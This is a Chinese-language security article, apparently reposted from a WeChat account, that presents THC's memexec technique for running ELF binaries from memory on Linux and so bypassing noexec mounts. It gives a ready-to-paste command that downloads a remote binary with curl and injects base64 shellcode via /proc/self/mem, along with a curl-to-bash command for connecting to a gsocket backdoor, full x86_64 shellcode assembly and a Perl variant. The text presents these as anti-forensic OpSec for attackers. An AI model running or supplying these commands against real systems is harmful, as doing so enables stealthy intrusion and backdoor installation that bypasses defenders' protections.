Linux安全漏洞:绕过挂载选项参数 noexec 并执行任意文件

admin 2024年10月15日13:05:14评论47 views字数 4451阅读14分50秒阅读模式

Linux安全漏洞:绕过挂载选项参数 noexec 并执行任意文件长话短说: 当执行不被允许时(例如受限的 PHP 环境、只读文件系统或 noexec 挂载标志),在 Linux 系统上执行二进制文件。仅使用 Bash 并从 Bash 中进行系统调用,将 ELF 二进制文件直接从互联网传输到 Bash 的地址空间 - 无需接触硬盘,也无需使用 ptrace() 或 mmap()。

源代码: https://github.com/hackerschoice/memexec

无文件执行是指在不接触文件系统的情况下运行可执行文件的过程。这个想法本身并不新鲜,过去已有多项相关研究。

大多数(或全部?)过去的技巧都调用了 mmap(2) 或需要 ptrace(2) - 因此在使用 noexec 挂载标志或禁止 ptrace 时会失败。

虽然我们承认在这个问题上是站在巨人的肩膀上,但我们为您带来了一种快速可靠的无文件执行技巧,唯一的要求是 bash 和几个核心工具(cat、cut、base64 和 dd)。

Bash 只是充当我们的 shellcode + 后门的孵化器。我们还使用 Perl 或 PHP 实现了相同的功能(它们不依赖 cat、cut、base64 或 dd)。此外,Perl 版本不需要访问 /proc/self/mem,因此也可以在容器内工作。PHP 版本非常适合那些没有 Shell 访问权限和执行权限的网络云提供商。

那么,为什么你会需要无文件执行呢?

  • 你没有权限写入主机上的任何位置。
  • 你有权限写入某个位置,但无法执行任何内容,且用户空间执行(ulexec 或 ld-linux.so)失败。(noexec)
  • 常用的 tmpfs 位置(如 /dev/shm)被标记为 noexec。
  • 这通常被认为是一种良好的 OpSec / 反取证实践,因为你的二进制文件不会在重启后存活。

这种执行技巧使用了社区发现的两种独立技术。

  1. 创建内存支持的文件描述符: 使用 memfd_create(2) 系统调用来创建一个文件描述符,它指向一个完全存在于 RAM 中且不依赖持久存储的文件。这可以用来(暂时)存储我们希望执行的文件。

  2. 通过写入 /proc/self/mem 修改进程映像: /proc/self/mem 为进程内存提供了一个简单的文件接口,我们可以利用它向进程内存写入任意 shellcode。为了实际执行 shellcode,我们可以选择由指令指针持有的内存位置,这样当 CPU 恢复进程执行时,我们的 shellcode 就会被执行。

将以下内容复制粘贴到目标的 shell 中:

curl -fsSL https://thc.org/gs-demo.x86 
| bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SInlSIHsEgQAAEi4a2VybmVsAABqAFC4PwEAAEiJ50gx9g8FSYnAuAAAAAC/AAAAAEiJ5roABAAADwVIicJIg/oAfg+4AQAAAEyJx0iJ5g8F69S4QgEAAEyJx2oASInmagBUSIniSDHJTTHJTTHSQbgAEAAADwW4PAAAAL9jAAAADwU=|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4'
# 然后用以下命令登录你的后门系统:
# S=SecretChangeMe bash -c "$(curl -fsSL https://gsocket.io/y)"

现在让我们仔细看看这个技巧本身,并逐步分解它:

  1. 从外部源获取二进制文件/后门,并通过管道传输到 bash 的标准输入。

  2. 启动一个 Bash 进程。命令行 -c 包含 3 个命令,用 ; 分隔,由 Bash 按顺序执行:

    1. Bash 切换到 /proc/$$ (与 /proc/self 相同,但更短)。
    2. 创建一个文件描述符(4)。
    3. 最后一个命令包含子命令 $(cat syscall| cut -f9 -d" "),Bash 需要在调用 dd 或 base64 之前执行这个子命令。Bash 通过 fork 并在 wait(2) 系统调用中等待 fork 的子进程完成来执行这个子命令。在等待时,父 Bash 的指令指针可以通过 /proc/$$/syscall 获取 - 它是 libc 中某处 wait(2) 系统调用存根的地址。
    4. fork 的子进程输出这个指令指针。稍后,dd 会将这个地址作为其命令行选项,用于覆盖 wait() 系统调用存根(例如,libc 中某处的 .text 段)。
    5. 一个 base64 编码的 shellcode 被解码并通过管道传输给 dd。
    6. 然后 dd 跳转到步骤 4 中的内存位置,并将 shellcode 从标准输入复制到进程的内存(使用步骤 2 中打开的文件描述符)。
    7. Bash 再次在相同的 wait(2) 系统调用中等待 base64 和 dd 执行完毕。这一点很重要。
    8. Bash 不知道的是,在等待时,它自己的 .text 段已经被我们的 shellcode 覆盖了 - 就在 Bash 等待的位置。
  3. 一旦 shellcode 被写入进程内存,并且 bash 执行的最后一个程序(即 dd)退出,控制权就会返回给 bash。执行从指令指针保存的内存位置恢复,但我们已经用我们的 shellcode 覆盖了那个位置。现在执行的是我们的 shellcode。

  4. 现在让我们看看 shellcode 本身以及它如何执行我们的二进制文件:

section .text
    global _start

_start:
    ; create a buffer
    mov rbp, rsp
    sub rsp, 1042

    ; create a memory fd
    mov  rax, 0x6c656e72656b    ; kernel
    push 0
    push rax
    mov rax, 319           ; memfd_create
    mov rdi, rsp           ; name - kernel
    xor rsi, rsi           ; no MFD_CLOEXEC
    syscall
    mov r8, rdx            ; save memfd number

loop:
    mov rax, 0             ; read
    mov rdi, 0             ; stdin
    mov rsi, rsp           ; pointer to buffer
    mov rdx, 1024          ; number of bytes to read at time
    syscall
    mov rdx, rax           ; store no of bytes read in rdx

    ; check if we reached the end of the file
    cmp rdx, 0
    jle exit               ; if bytes read is 0, close the file

    ; write data to mem_fd
    mov rax, 1
    mov rdi, r8           ; mem_fd number
    mov rsi, rsp          ; buffer
    ;rdx already has the amount of bytes previously read
    syscall

    jmp loop

exit:
    ; execveat the program in memfd
    mov     rax, 322    ; execveat
    mov     rdi, r8     ; memfd
    push    0
    mov     rsi, rsp    ; path (empty string)
    push    0
    push    rsp
    mov     rdx, rsp    ; ARGV (pointer to a array containing a pointer to a empty string)
    mov     r8, 4096    ; AT_EMPTY_PATH
    syscall

    ; Exit the program
    mov rax, 60                       ; sys_exit
    mov rdi, 99                       ; exit code 99
    syscall
  1. 使用 memfd_create 系统调用创建一个内存支持的文件描述符。
  2. 在循环中,将二进制文件的内容从标准输入复制到内存支持的文件描述符(记住 - 我们通过标准输入将二进制文件传递给了 bash)。
  3. 一旦二进制文件完全复制到内存文件描述符,使用 execveat 来运行存储在内存文件描述符中的二进制文件。

Perl 和 PHP 变体:

Perl 原生支持系统调用:我们不需要 shellcode。无需覆盖任何正在运行的进程内存。不需要访问 /proc/self/mem,并且在 ptrace 不可用时也能工作:

perl '-efor(319,279){($f=syscall$_,$",1)>0&&last}; 
    open($o,">&=".$f); 
    print$o(<STDIN>); 
    exec{"/proc/$$/fd/$f"}X,@ARGV'
 -- "$@"
# 测试: cat /usr/bin/uname | per '....' -a

PHP 不允许 fork。因此我们使用 PHP 的 fgets() 来读取 /proc/$$/syscall 并在 libc 的 fgets 存根之后覆盖 .text 段。稍后我们需要再次调用 fgets() 以在从 read(2) 系统调用返回时触发我们的 shellcode (libc 的 fgets() 调用 read(2) 系统调用)。

shellcode 的进一步工作:

我们的 shellcode 版本仅适用于 x86_64 机器,还有很多其他架构。我们认为 x86 和 arm 版本可能会很有用。我们将此留给社区来完成。(如果你最终为任何其他架构制作了版本,请在这里提交 PR)。

这个技巧可能不起作用的情况:

  1. 当对 /proc/self/mem 的访问受到限制时,只有 Perl 变体才能工作(例如在容器内)
  2. 当存在 SELinux 或 GRSecurity 时,它们可能会限制对 memfd_create 的访问。

预防措施:

如果 ptrace()、mmap() 或 memfd_create() 中只有一个可用,这个技巧稍作修改就能工作,禁用 ptrace 也会使 /proc/self/mem 返回 -EPERM。可能还有很多其他技巧可以做同样的事...请你友好的蓝队来解决这个问题吧。

原文始发于微信公众号(独眼情报):Linux安全漏洞:绕过挂载选项参数 noexec 并执行任意文件

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日13:05:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux安全漏洞:绕过挂载选项参数 noexec 并执行任意文件https://cn-sec.com/archives/3270377.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息